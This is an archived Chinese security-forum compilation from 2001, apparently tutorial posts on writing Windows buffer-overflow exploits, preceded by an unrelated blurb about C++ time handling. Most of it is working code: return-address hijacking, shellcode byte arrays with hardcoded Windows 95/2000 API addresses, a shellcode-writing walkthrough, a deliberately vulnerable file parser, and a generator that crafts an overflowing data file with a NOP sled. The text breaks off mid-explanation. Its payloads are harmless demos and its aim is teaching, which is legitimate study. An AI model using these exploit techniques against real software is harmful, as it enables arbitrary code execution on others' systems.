【例子】WIN平台缓冲溢出程序编写

C++时间处理全解析:从time/localtime到线程安全与跨平台实践 在软件开发中,时间戳处理是基础且关键的技术环节,涉及系统时间获取、时区转换和格式化输出等核心概念。其原理基于计算机系统维护的纪元时间,通过标准库函数转换为人类可读的日历时间。掌握时间处理技术对日志记录、性能分析和任务调度等场景具有重要价值,能确保系统事件的准确排序和跨时区协同。本文聚焦C++中经典的time和localtime函数,深入探讨其线程安全隐患、跨平台差异及2038年问题等实际工程挑战,并提供封装方案与避坑指南,帮助开发者构建健壮的时间处理模块。 阅读详情

创建时间:2001-06-30
文章属性:转载
文章来源:http://go4.163.com/watercloud/
文章提交:quack (quack_at_xfocus.org)

post by cloud (safesuite@263.net)

最近刚研究了WIN平台的溢出,在openlab(61.150.43.7) VC版贴过.后来整理了一下

下载win_of.zip

题目有:    
    01 一种函数跳转方式
    02 Re 一种函数跳转方式.txt
    03 Re Re 一种函数跳转方式.txt
    04 在C中嵌入机器码的一种方式.txt
    05 Re 在C中嵌入机器码的一种方式.txt
    06 C程序中执行机器码的另一方式_缓冲溢出.txt
    07 C程序中执行机器码的另一方式_缓冲溢出2 For Win2k.txt
    08 Win平台上如何写ShellCode.txt
    09 缓冲边界未作检查的BUG程序.txt
    10 攻击上一个BUG程序.txt
    11 溢出程序说明.txt
    12 针对BUG_C Win2k下的溢出程序.txt
    13 windows下越界一个字节也能导致溢出攻击.txt
    14 另一种溢出方式 JMP ESP.txt
    15 若将Bug_c中memcpy改为strcpy后的攻击方法.txt
    16 改为strcpy后对bug_c的攻击程序For_win2k.txt
    17 如果一个网络服务器程序没有检查边界的话 _ _.txt
    18 攻击上一个bug_service_c的攻击程序.txt
    19 在Solaris For Spac芯片上的溢出.txt
    20 Solaris For Spac上的栈情况.txt
    21 脱离AppWizard和ClassWizard使用MFC.txt

------------------------------------------------------------------------------------------------------

【Visual C++】:一种函数跳转方式一种函数跳转方式


             cloud (cloud) 2001-6-12 18:25:35
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

#include<windows.h>
int t(int x,int y)
{

 _asm
 {
  
  mov eax,dword ptr[ebp+8]
  add eax,dword ptr[ebp+12]
  
 }
}
int test(int x,int y)
{
 _asm
 {
  pop edi
  pop esi
  pop ebx
  pop ebp
  
  push offset t

  ret 0
 }

}

int main()
{
 printf(" 30+40 = %i/n",test(30,40));
 return 0;
}
            -----------
【Visual C++】:Re: 一种函数跳转方式Re: 一种函数跳转方式


             cloud (cloud) 2001-6-13 16:28:30
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏


            调用test后在test中修改了堆栈返回地址为t的入口地址
            test返回后实际上就进入了t()此时堆栈已经是正常调用t
            的形态,返回地址为调用test应该正确返回的地址,因此
            实际上调用了t并在t中完成了加运算.之后正确返回!


            【在 SmallHill (小山) 的大作中提到:】
            can you give a explain o k ? thanks.【在 cloud (cloud)
            -----------
【Visual C++】:Re: 一种函数跳转方式Re: 一种函数跳转方式


             cloud (cloud) 2001-6-15 19:57:33
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

;cl /Fa t.c  编译完成,一切正常没有出现错误!
;另由于我英语很烂,能不能说中文,这样可能大家好交流一下.

 TITLE t.c
 .386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
$$SYMBOLS SEGMENT BYTE USE32 'DEBSYM'
$$SYMBOLS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
 ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif

INCLUDELIB LIBC
INCLUDELIB OLDNAMES

PUBLIC _t
; Function compile flags: /Odt
_TEXT SEGMENT
_x$ = 8
_y$ = 12
_t PROC NEAR
; File c:/work/asm-c/t.c
; Line 3
 push ebp
 mov ebp, esp
; Line 8
 mov eax, DWORD PTR [ebp+8]
; Line 9
 add eax, DWORD PTR [ebp+12]
; Line 12
 pop ebp
 ret 0
_t ENDP
_TEXT ENDS
PUBLIC _test
; Function compile flags: /Odt
_TEXT SEGMENT
_x$ = 8
_y$ = 12
_test PROC NEAR
; Line 14
 push ebp
 mov ebp, esp
 push ebx
 push esi
 push edi
; Line 17
 pop edi
; Line 18
 pop esi
; Line 19
 pop ebx
; Line 20
 pop ebp
; Line 22
 push OFFSET FLAT:_t
; Line 24
 ret 0
; Line 27
 pop edi
 pop esi
 pop ebx
 pop ebp
 ret 0
_test ENDP
_TEXT ENDS
PUBLIC _main
EXTRN _printf:NEAR
_DATA SEGMENT
$SG52880 DB ' 30+40 = %i', 0aH, 00H
; Function compile flags: /Odt
_DATA ENDS
_TEXT SEGMENT
_main PROC NEAR
; Line 30
 push ebp
 mov ebp, esp
; Line 31
 push 40     ; 00000028H
 push 30     ; 0000001eH
 call _test
 add esp, 8
 push eax
 push OFFSET FLAT:$SG52880
 call _printf
 add esp, 8
; Line 32
 xor eax, eax
; Line 33
 pop ebp
 ret 0
_main ENDP
_TEXT ENDS
END
.

【在 SmallHill (小山) 的大作中提到:】
please look at the following  pa...

※编辑: cloud 于 2001-6-15 20:01:04 在 [202.117.82.4] 编辑本文
            -----------
【Visual C++】:在C中嵌入机器码的一种方式在C中嵌入机器码的一种方式


             cloud (cloud) 2001-6-15 20:16:10
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

以下程序用VC6.0 CL编译器编译
编译参数 :  cl test.c /link kernel32.lib

程序在Win95下测试通过,运行结果:打开一个资源管理器
简要说明:
机器码在程序函数test中buffer里
在test中通过
push addr buffer  ; push ebp-80
ret 0
跳入机器码

这段代码如下工作
push addr string1 ; string1 : "shell32.dll"
call    LoadLibrary

invoke ShellExecute  NULL,addr string2,0,0,0,5  ;   string2 : "open"   打开资源管理器

push addr ExitProcess
ret 0                                 ;结束进程

#include<stdio.h>
#include<windows.h>
int test()
{
// Follow Addr Tested on Windows95
//LoadLibrary    Addr: 0BFF775F3h
//GetProcAddress Addr: 0BFF76DD8h
//ShellExecute   Addr: 07FDE9211h
//ExitProcess    Addr: 0bff8b191h

 char buffer[80]=
 {

    0xEB,0x1E,    //jmp         @call
    0x5D,     //pop  ebp                      @jm
    0x55,     //push        ebp
    0xFF,0x55,0x11,    //call        dword ptr [ebp+11h]
    0x6A,0x05,    //push        5
    0x6A,0x00,    //push        0
    0x6A,0x00,    //push        0
    0x6A,0x00,    //push        0
    0x8B,0xC5,    //mov         eax,ebp
    0x83,0xC0,0x0C,    //add         eax,0Ch
    0x50,     //push        eax
    0x6A,0x00,    //push        0
    0xFF,0x55,0x15,    //call        dword ptr [ebp+15h]
    0x68,0x91,0xB1,0xF8,0xBF,          //push        0BFF8B191h  ExitProcess  地址
    0xC3,     //ret
    0xE8,0xDD,0xFF,0xFF,0xFF,                 //call        @jm               @call
    's','h','e','l','l','3','2','.','d','l','l',0,
                                  'o','p','e','n',0,
    0xf3,0x75,0xf7,0xbf,            //LoadLibrary   地址
    0x11,0x92,0xde,0x7f             //ShellExecute  地址
 };
 _asm
 {
  pop edi
  pop esi
  pop ebx
  
  sub ebp,80
  push ebp
  ret 0

 }
}
void main()
{
 

 HINSTANCE hw = LoadLibrary("user32.dll");
// FARPROC fp = GetProcAddress(hw,"ShellExecute");
// ShellExecute(0,"open",0,0,0,5);
// printf("ShellExecute addr :%p",ShellExecute);
/* printf("LoadLibrary Addr :%p/n",LoadLibrary);
 fp = GetProcAddress(hw,"GetProcAddress");
 printf("GetProcAddress Addr: %p/n",fp);
 printf("GetProcAddress Addr: %p/n",GetProcAddress);
*/
 printf("%i/n",test());

}
            -----------


【Visual C++】:Re: 在C中嵌入机器码的一种方式Re: 在C中嵌入机器码的一种方式


             cloud (cloud) 2001-6-16 18:15:50
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

test() 正确返回代码已经被我截获
test()
{
}
对应为:
;test()
;{
     push ebp       
     mov ebp,esp  ; 现在ebp+4  处为test返回地址
     sub  esp,80     ;为buffer[80]留空间           过ebp-80处为buffer[0]地址

     . . . . . . .


    ;  test()准备返回
    add esp,80    ;修正esp     dword ptr [ esp] 为 保存的ebp值    dword ptr[esp+4] 为 test返回地址
    pop ebp        ;现在栈顶为test返回值    
    ret 0             ;返回调用test的main函数中
  
;}

而
_asm
{
}
对应汇编为
;_asm
;{
    push ebx
    push esi
    push edi


    . . . .
  
    pop edi
    pop esi
    pop ebx
  
;}

现在是
test()
{
    char buffer[80];
    _asm
   {
        pop edi     ;抵消 _asm进入时加入的三个push
        pop esi
        pop ebx
       
        sub ebp,80   ;ebp现在为buffer入口
        push ebp     ;现在栈顶为buffer入口地址  下条ret 将以此地址作为返回地址,进入buffer
        ret 0            ;进入buffer ,注意ret 之后esp+80也是buffer尾部  esp+84是ebp  esp+88是test
                           ;正确返回地址
   }
}
在buffer中的代码有如下  这部分相当是test()函数最后准备返回时的代码,参加上面test()

add   esp,80   ;现在栈顶是ebp 
pop  ebp        ;现在栈顶是test返回地址
ret    0           ;正确返回  好了又回到了main()

还有win32中是32位已经是在同一个线性空间cs;ss;ds等已经失去dos下ss:sp   cs:ip
等功能,而是直接在空间中以eip, esp等来寻址  当然用能到堆栈中执行

真正有难度的东东是机器嘛那一段,想想里面有需要的string,而且还要string的地址
解觉办法是依赖jmp   和call  ,他们都是用相对当前地址跳转,尤其是call 会保存下一条指令地址
我们把string放在call的下面call调用后就会在栈顶压入string的地址  ^_*

那段机器码如下
  jmp   sh_call     ;在sh_call处是 call sh_jm    有回来了!!  但此时已压入了string的地址
 
sh_jm:
 
  pop  ebp        ; ebp中为string的地址

  . . . . . . .

sh_call:
 
  call  sh_jm
  string db  . . . .


编译参数没什么意义就是让程序能编译通过

附cl产生的汇编程序
都可以在  ftp://202.117.82.4/asm/asm-c/下找到

; Listing generated by Microsoft (R) Optimizing Compiler Version 13.00.8905

 TITLE shellcode2.c
 .386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
$$SYMBOLS SEGMENT BYTE USE32 'DEBSYM'
$$SYMBOLS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
 ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif

INCLUDELIB LIBC
INCLUDELIB OLDNAMES

PUBLIC _test
; Function compile flags: /Odt
_TEXT SEGMENT
_buffer$ = -80
_test PROC NEAR
; File c:/work/asm-c/shellcode2.c
; Line 4
 push ebp
 mov ebp, esp
 sub esp, 80     ; 00000050H
 push ebx
 push esi
 push edi
; Line 14
 mov BYTE PTR _buffer$[ebp], -21  ; ffffffebH
 mov BYTE PTR _buffer$[ebp+1], 36  ; 00000024H
; Line 15
 mov BYTE PTR _buffer$[ebp+2], 93  ; 0000005dH
; Line 16
 mov BYTE PTR _buffer$[ebp+3], 104  ; 00000068H
 mov BYTE PTR _buffer$[ebp+4], -57  ; ffffffc7H
 mov BYTE PTR _buffer$[ebp+5], -3  ; fffffffdH
 mov BYTE PTR _buffer$[ebp+6], 99  ; 00000063H
 mov BYTE PTR _buffer$[ebp+7], 0
; Line 17
 mov BYTE PTR _buffer$[ebp+8], -1
 mov BYTE PTR _buffer$[ebp+9], 85  ; 00000055H
 mov BYTE PTR _buffer$[ebp+10], 17  ; 00000011H
; Line 19
 mov BYTE PTR _buffer$[ebp+11], -125  ; ffffff83H
 mov BYTE PTR _buffer$[ebp+12], -8  ; fffffff8H
 mov BYTE PTR _buffer$[ebp+13], 0
; Line 20
 mov BYTE PTR _buffer$[ebp+14], 116  ; 00000074H
 mov BYTE PTR _buffer$[ebp+15], 17  ; 00000011H
; Line 22
 mov BYTE PTR _buffer$[ebp+16], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+17], 5
; Line 23
 mov BYTE PTR _buffer$[ebp+18], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+19], 0
; Line 24
 mov BYTE PTR _buffer$[ebp+20], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+21], 0
; Line 25
 mov BYTE PTR _buffer$[ebp+22], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+23], 0
; Line 28
 mov BYTE PTR _buffer$[ebp+24], -125  ; ffffff83H
 mov BYTE PTR _buffer$[ebp+25], -59  ; ffffffc5H
 mov BYTE PTR _buffer$[ebp+26], 12  ; 0000000cH
; Line 29
 mov BYTE PTR _buffer$[ebp+27], 85  ; 00000055H
; Line 30
 mov BYTE PTR _buffer$[ebp+28], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+29], 0
; Line 32
 mov BYTE PTR _buffer$[ebp+30], -1
 mov BYTE PTR _buffer$[ebp+31], 85  ; 00000055H
 mov BYTE PTR _buffer$[ebp+32], 9
; Line 34
 mov BYTE PTR _buffer$[ebp+33], -125  ; ffffff83H
 mov BYTE PTR _buffer$[ebp+34], -60  ; ffffffc4H
 mov BYTE PTR _buffer$[ebp+35], 80  ; 00000050H
; Line 35
 mov BYTE PTR _buffer$[ebp+36], 93  ; 0000005dH
; Line 36
 mov BYTE PTR _buffer$[ebp+37], -61  ; ffffffc3H
; Line 37
 mov BYTE PTR _buffer$[ebp+38], -24  ; ffffffe8H
 mov BYTE PTR _buffer$[ebp+39], -41  ; ffffffd7H
 mov BYTE PTR _buffer$[ebp+40], -1
 mov BYTE PTR _buffer$[ebp+41], -1
 mov BYTE PTR _buffer$[ebp+42], -1
; Line 38
 mov BYTE PTR _buffer$[ebp+43], 115  ; 00000073H
 mov BYTE PTR _buffer$[ebp+44], 104  ; 00000068H
 mov BYTE PTR _buffer$[ebp+45], 101  ; 00000065H
 mov BYTE PTR _buffer$[ebp+46], 108  ; 0000006cH
 mov BYTE PTR _buffer$[ebp+47], 108  ; 0000006cH
 mov BYTE PTR _buffer$[ebp+48], 51  ; 00000033H
 mov BYTE PTR _buffer$[ebp+49], 50  ; 00000032H
 mov BYTE PTR _buffer$[ebp+50], 46  ; 0000002eH
 mov BYTE PTR _buffer$[ebp+51], 100  ; 00000064H
 mov BYTE PTR _buffer$[ebp+52], 108  ; 0000006cH
 mov BYTE PTR _buffer$[ebp+53], 108  ; 0000006cH
 mov BYTE PTR _buffer$[ebp+54], 0
; Line 39
 mov BYTE PTR _buffer$[ebp+55], 111  ; 0000006fH
 mov BYTE PTR _buffer$[ebp+56], 112  ; 00000070H
 mov BYTE PTR _buffer$[ebp+57], 101  ; 00000065H
 mov BYTE PTR _buffer$[ebp+58], 110  ; 0000006eH
 mov BYTE PTR _buffer$[ebp+59], 0
; Line 40
 mov BYTE PTR _buffer$[ebp+60], -13  ; fffffff3H
 mov BYTE PTR _buffer$[ebp+61], 117  ; 00000075H
 mov BYTE PTR _buffer$[ebp+62], -9  ; fffffff7H
 mov BYTE PTR _buffer$[ebp+63], -65  ; ffffffbfH
; Line 41
 mov BYTE PTR _buffer$[ebp+64], 17  ; 00000011H
 mov BYTE PTR _buffer$[ebp+65], -110  ; ffffff92H
 mov BYTE PTR _buffer$[ebp+66], -34  ; ffffffdeH
; Line 42
 mov BYTE PTR _buffer$[ebp+67], 127  ; 0000007fH
 xor eax, eax
 mov DWORD PTR _buffer$[ebp+68], eax
 mov DWORD PTR _buffer$[ebp+72], eax
 mov DWORD PTR _buffer$[ebp+76], eax
; Line 46
 pop edi
; Line 47
 pop esi
; Line 48
 pop ebx
; Line 55
 sub ebp, 80     ; 00000050H
; Line 56
 push ebp
; Line 57
 ret 0
; Line 60
 pop edi
 pop esi
 pop ebx
 mov esp, ebp
 pop ebp
 ret 0
_test ENDP
_TEXT ENDS
PUBLIC _main
EXTRN _printf:NEAR
_DATA SEGMENT
$SG53167 DB '%i', 0aH, 00H
; Function compile flags: /Odt
_DATA ENDS
_TEXT SEGMENT
_main PROC NEAR
; Line 62
 push ebp
 mov ebp, esp
; Line 75
 call _test
 push eax
 push OFFSET FLAT:$SG53167
 call _printf
 add esp, 8
; Line 77
 xor eax, eax
 pop ebp
 ret 0
_main ENDP
_TEXT ENDS
END


※编辑: cloud 于 2001-6-16 18:47:15 在 [202.117.82.4] 编辑本文
            -----------
【Visual C++】:C程序中执行机器码的另一方式_缓冲溢出C程序中执行机器码的另一方式_缓冲溢出


             cloud (cloud) 2001-6-27 11:04:29
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

下列程序在test( )中memcpy后造成buffer越界覆盖了test的返回地址
我们在buff中返回地址处填入了buffer开始处附近的地址,并在buffer前部放入大量NOP指令
这样test( ) 返回时我们的机器码将被执行
运行结果:  打开一个资源管理器.

/*
Name :   Self_Ex.c
Testd :   Windows95

   by cloud 2001-6-3

*/
#include <windows.h>

char shellcode[92]= 
{
 0xEB,0x38,0x5D,0x33,0xc0,0x66,0xb8,0xe8,0x03,0x2b,0xe0,0x33,
 0xC0,0x88,0x45,0x0B,0x88,0x45,0x10,0x88,0x45,0x1b,0x55,0xFF,
 0x55,0x11,0x33,0xDB,0x3B,0xC3,0x74,0x14,0x6A,0x05,0x53,0x53,
 0x55,0x58,0x83,0xc0,0x19,0x50,0x83,0xC5,0x0C,0x55,0x33,0xDB,
 0x53,0xFF,0x55,0x09,0x68,0x91,0xb1,0xf8,0xbf,0xC3,0xE8,0xc3,
 0xFF,0xFF,0xFF,
 's','h','e','l','l','3','2','.','d','l','l','0',
 'o','p','e','n','0',
 0xf3,0x75,0xf7,0xbf,
 0x11,0x92,0xde,0x7f,
 'c',':','0','/0'
};
char buff[500];
char message[100];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
DWORD getesp()
{
 __asm mov eax,esp
}
void test()
{
 char buffer[256];
 memcpy(buffer,buff,sizeof(buff));

}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 addr = getesp();
 addr = addr - 200;
 
 cp = (unsigned char *) buff;
 for(i=0;i<256 - 92 ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<92;i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 for(i=0;i<40; i++,lp++)
 {
  * lp = addr;
 }

 test();
 MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
 return 0;
}
            -----------
【Visual C++】:C程序中执行机器码的另一方式_缓冲溢出2 For Win2kC程序中执行机器码的另一方式_缓冲溢出2 For
            Win2k


             cloud (cloud) 2001-6-27 11:10:40
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

如下程序同上
运行结果同于期望值,机器码被执行.
机器码执行结果:  弹出Message对话筐显示: From Binnar Code.  然后调用ExitProcess( )

/*
Name : Self_Ex_win2k.c
Test   : Win2k pro sp1
     by cloud 2001-6-12
*/
#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
unsigned char shellcode[108]= 
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
DWORD getesp()
{
 __asm mov eax,esp
 __asm add eax,8
}
void test()
{
 char line_buffer[256];
 addr = getesp();    //addr  --  addr + buffer_len -shellcode_len  : NOP
 addr = addr + 256 - sizeof(shellcode) -8;
 cp = (unsigned char *) line_buffer;
 for(i=0;i<256 - sizeof(shellcode) ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i< sizeof(shellcode);i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 * lp = addr;
 lp++;
 * lp = addr;
 //MessageBox(0,"Test END,RETURN!","Test",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 test();
 MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
 return 0;
}
            -----------
【Visual C++】:Win平台上如何写ShellCodeWin平台上如何写ShellCode


             cloud (cloud) 2001-6-27 19:59:39
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

Unix上shellcode的编写已经讲了很多文章了
windows上也基本相同

不过编写前我们得要知道我们所须的系统调用的地址
如何得到地址??
很简单

#include<windows.h>
#include<stdio.h>
char buffer[256];
void main()
{
       sprintf(buffer,"MessageBoxA: %p/nExitProcess:  %p/nLoadLibraryA  %
p/n",MessageBoxA,ExitProcess,LoadLibraryA);   //哈哈,看到没又是一个不严格的检查  ^_*
     MessageBox(0,buffer,"ADDR",0);
}

编译  cl   addr.c  /link  user32.lib

运行吧!  看到了什么?? 快记录下来吧!!
For Win2k pro sp1
;//LoadLibraryA     77e67273         For Win95 0BFF775F3h
;//MessageBoxA    77e0737e          For Win95 0BFF638D9h
;//ExitProcess       77e6f32d           For Win95 0bff8b191h


有了地址又如何?  看看下列汇编吧!!
不过得记住最后的机器码中不能有/0  /n等特殊字符,所以得要吧很多东东改改
如user32.dll/0  中的/0就不行而是用'0' 然后在汇编中mov   一个 0进去!!

 jmp ca
jm:
 
 pop ebp             ;得到字符窜的起始地址
 xor eax,eax       ;以下三行是为了  sub esp,1000  但直接的sub esp,1000 中有两个/0  没办法改为3行
 mov ax,1000    ;想想为何要 -1000   ;当看看这段代码执行时esp在其顶部一点点,没几个push
 sub esp,eax      ;就把自己给覆盖了行吗??? 当然要 -1000 了

 xor ebx,ebx                 ;以下的4行是为了mov byte ptr[ebp+ebx],al  因为其偏移为/n 没办法改改就
 mov bl,12                   ; 成了现在这样
 dec ebx
 dec ebx

 xor eax,eax                       ;以下4行是给字符窜尾附/0
 
 mov byte ptr[ebp+ebx],al    
 mov byte ptr[ebp+18],al
 mov byte ptr[ebp+36],al
 
 push 0BFF775F3h                         ;LoadLibraryA
 push ebp                                     ;LoadLibrayA的参数指向"user32.dll"
 call DWORD ptr[esp+4]              ;调用LoadLibraryA


 xor ebx,ebx
 push ebx           ; MB_OK
 mov eax,ebp
 add eax,11         ; message title
 push eax
 add eax,8
 push eax          ; "From Binnar Code."
 push ebx           ;NULL
 push 0bff8b191h   ;ExitProcess return by MessageBoxA
 push 0BFF638D9h   ;MessageBoxA     
 ret 0                         ;返回到MessageBoxA   而MessageBoxA返回时看看,到了 ExitProcess
ca: 
 call jm
  db "user32.dll",'0  '               ; 10+1
  db "MESSAGE",'0 '                   ; 7+1 
  db "From Binnar Code.",'0'          ; 17+1

放到汇编里编译然后

   dumpbin /disasm    ??.exe      > a.txt
 用记事本打开a.txt  看看我们就能得到所要的机器码:弹出对话筐显示信息,然后退出进程
整理以下就可以得到如下机器码

char shellcode[108]= 
{
 0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
 0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
 0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
 0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
 0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
 0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
 0xFF ,0xFF ,0xFF,
 'u','s','e','r','3','2','.','d','l','l','0',
 'M','E','S','S','A','G','E','0',
 'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};

最后3个'N'是填充,因为分配空间为4的辈数所以我们的code也为4的辈数比较好写溢出程序啦

※编辑: cloud 于 2001-6-27 20:04:14 在 [202.117.82.4] 编辑本文
            -----------
【Visual C++】:缓冲边界未作检查的BUG程序缓冲边界未作检查的BUG程序


             cloud (cloud) 2001-6-27 11:21:20
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

当程序在检查缓冲区长度上做的不好时往往使用strcpy等函数,没有检查buffer长度.
这就给我们可成之机.

如下列程序 本来进行文本文件处理__学生成绩
默认是每行一个信息包含:   姓名:学好:语文成绩:数学成绩: . . . . /n
在main()中将整个文件或前500字节读入file_buffer
后调用test()  test()本意是处理一行  一个学生信息.
当打开的文件是学生正常数据文件时一切正常,但想想我们把该文件删除后
自己精心制作一个文件改名同于数据文件名会如何
^_&

/*  
Name : bug.c
    by cloud 2001-6-4
*/

#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
void test()
{
 char line_buffer[256];
 for(i=0;file_buffer[i]!='/n'; line_buffer[i]=file_buffer[i++] );

}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile.dat","rb");
 long len;
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain BUG",MB_OK);
  return -1;
 }
 fseek(f,0,SEEK_END);
 len = ftell(f);
 fseek(f,0,SEEK_SET);
 if(len > sizeof(file_buffer))
  len = sizeof(file_buffer);
 if( fread(file_buffer,1,len,f) != len)
 {
  MessageBox(0,"读文件失败!","WinMain BUG",MB_OK);
  fclose(f);
  return -2;
 }
 fclose(f);

 test();
 MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
 return 0;
}
            -----------
【Visual C++】:攻击上一个BUG程序攻击上一个BUG程序


             cloud (cloud) 2001-6-27 11:28:08
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

我们通过如下程序精心制作一个数据文件让bug.c去处理
结果将使得我们的机器码被执行,执行结果为:打开一个资源管理器,然后调用ExitProcess()
程序基本点:每个程序执行到main()时栈区起始地址相同,由此来猜测对方buffer地址,然后用此地址
覆盖返回地址,由于可能不精确,故在buffer开始处放入大量NOP指令,只要到达NOP区域就可保证
我们的机器码被执行.

运行时先用此程序生成数据文件,再将数据文件拷入bug.exe目录,再执行bug.exe就可以看到资源
管理器.

编译参数: bug.c   ex_bug.c    
  cl file_name.c /link user32.lib

/*
Name :  Ex_bug.c
Tested: Windows95
    by cloud 2001-6-4
*/
#include <windows.h>
#include <stdio.h>
char shellcode[92]= 
{
 0xEB,0x38,0x5D,0x33,0xc0,0x66,0xb8,0xe8,0x03,0x2b,0xe0,0x33,
 0xC0,0x88,0x45,0x0B,0x88,0x45,0x10,0x88,0x45,0x1b,0x55,0xFF,
 0x55,0x11,0x33,0xDB,0x3B,0xC3,0x74,0x14,0x6A,0x05,0x53,0x53,
 0x55,0x58,0x83,0xc0,0x19,0x50,0x83,0xC5,0x0C,0x55,0x33,0xDB,
 0x53,0xFF,0x55,0x09,0x68,0x91,0xb1,0xf8,0xbf,0xC3,0xE8,0xc3,
 0xFF,0xFF,0xFF,
 's','h','e','l','l','3','2','.','d','l','l','0',
 'o','p','e','n','0',
 0xf3,0x75,0xf7,0xbf,
 0x11,0x92,0xde,0x7f,
 'c',':','0','/0'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
 __asm mov eax,esp
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile.dat","wb");
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
  return -1;
 }
 addr = getesp();
 addr = addr - 200;
 
 cp = (unsigned char *) buff;
 for(i=0;i<256 - 92 ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<92;i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 for(i=0;i<40; i++,lp++)
 {
  * lp = addr;
 }
 cp = (char *)lp;
 *cp = '/n';
 
 if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
  MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
 fclose(f);
 return 0;
}
            -----------
【Visual C++】:溢出程序说明溢出程序说明


             cloud (cloud) 2001-6-27 11:32:58
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

溢出前堆栈如下

高地址 ----  > 低地址
[ret][ebp][buffer]
ret:函数返地址回

溢出后如下


